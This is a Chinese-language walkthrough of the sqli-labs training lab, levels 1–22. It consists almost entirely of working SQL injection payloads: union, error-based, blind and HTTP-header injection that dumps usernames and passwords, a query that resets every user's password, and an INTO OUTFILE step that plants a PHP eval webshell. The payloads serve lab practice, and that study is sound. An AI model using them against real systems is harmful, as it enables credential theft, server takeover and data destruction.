【SQLi-labs】Basic Challenges(1-22)


Less-1

单引号闭合,union联合注入

id=1' order by 3 --+
id=-1' union select 1,2,3 --+
id=-1' union select 1,database(),3 --+
id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
id=-1' union select 1,group_concat(username,0x7e,password),3 from security.users --+

Less-2

数字型闭合,union联合注入

id=1 and 1=2
id=-1 or 1=1
id=1 order by 3
id=-1 union select 1,2,3

Less-3

单引号+1个括号闭合,union联合注入

id=-1') union select 1,2,3 --+

Less-4

双引号+一个括号,union联合注入

id=-1") union select 1,2,3 --+ 

Less-5

页面只有有和无两种情况,同时也会出现报错信息,判断为报错注入,单引号闭合

id=1' and updatexml(1,concat(0x7e,database()),0) --+
id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),0) --+
id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),0) --+
id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from security.users)),0) --+

Less-6

报错注入,双引号闭合

id=1" and updatexml(1,concat(0x7e,database()),0) --+

Less-7

into outfile注入,需要将mysql配置文件my.ini添加

secure_file_priv="/"

添加php一句话木马

http://192.168.223.143/sqli-labs/Less-7/?id=-1%27))%20union select 1,'<?php @eval($_POST["cmd"])?>',3 into outfile "C:/phpStudy/PHPTutorial/WWW/sqli-labs/Less-7/1.php"--+

之后需要用蚁剑或者菜刀连接

Less-8

页面只有有和无两种情况,也没有报错结果,为布尔盲注,单引号闭合

?id=1' and if(ascii(substr(database(),1,1))=115,1,0) --+

Less-9

页面只有一种情况,为时间盲注,单引号闭合

?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),0) --+

Less-10

页面只有一种情况,为时间盲注,双引号闭合

?id=1" and if(ascii(substr(database(),1,1))=115,sleep(5),0) --+

Less-11

POST型提交,出现报错,为单引号报错注入

' and updatexml(1,concat(0x7e,database()),0) #

Less-12

POST型提交,出现报错,为双引号+1个括号报错注入

") and updatexml(1,concat(0x7e,database()),0) #

Less-13

POST型提交,出现报错,为单引号+1个括号报错注入

') and updatexml(1,concat(0x7e,database()),0) #

Less-14

POST型提交,出现报错,为双引号报错注入

" and updatexml(1,concat(0x7e,database()),0) #

Less-15

页面只有有和无两种情况,为POST型布尔盲注,单引号闭合

admin' and if(ascii(substr(database(),1,1))=115,1,0)#
' or if(ascii(substr(database(),1,1))=115,1,0)#

Less-16

页面只有有和无两种情况,为POST型布尔盲注,双引号+1个括号闭合

") or if(ascii(substr(database(),1,1))=115,1,0) #

时间盲注经检验也可以,但是可能会一直睡过去

") or if(ascii(substr(database(),1,1))=115,sleep(5),0) #

Less-17

密码重置,将所有用户密码都改为1,输入正确的用户名,并在New Password里输入

' or 1=1 #

在set password=’$passwd’构造闭合,代入后使密码为1,因为后面用户被注释了,没有指定,所以就是全部用户

打过这个实验靶场要还原

Less-18

HTTP头注入,登陆进入后发现给出User Agent字段可修改,即为注入点

User-Agent:'and updatexml(1,concat(0x7e,database()),0) or '1'='1

这里不能用注释符,只能自己构造闭合

Less-19

HTTP头注入,登陆进入后发现给出Referer字段可修改,即为注入点

Referer:' and updatexml(1,concat(0x7e,database()),0) or '1'='1

Less-20

HTTP头注入,登陆进入后发现给出Cookie字段可修改,即为注入点,单引号

Cookie: uname=admin' and updatexml(1,concat(0x7e,database()),0) or '1'='1

Less-21

HTTP头注入,登陆进入后发现给出Cookie字段可修改,即为注入点,但是是Base64编码的,所以要把注入代码全部Base64编码,通过报错发现为单引号闭合

Cookie: uname=admin' and updatexml(1,concat(0x7e,database()),0) or '1'='1
Cookie: uname=YWRtaW4AJyBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSksMCkgb3IgJzEnPScx

Less-22

HTTP头注入,登陆进入后发现给出Cookie字段可修改,即为注入点,但是是Base64编码的,所以要把注入代码全部Base64编码,通过报错发现是双引号闭合

Cookie: uname=" and updatexml(1,concat(0x7e,database()),0) #
Cookie: uname=IiBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSksMCkgIw==

相关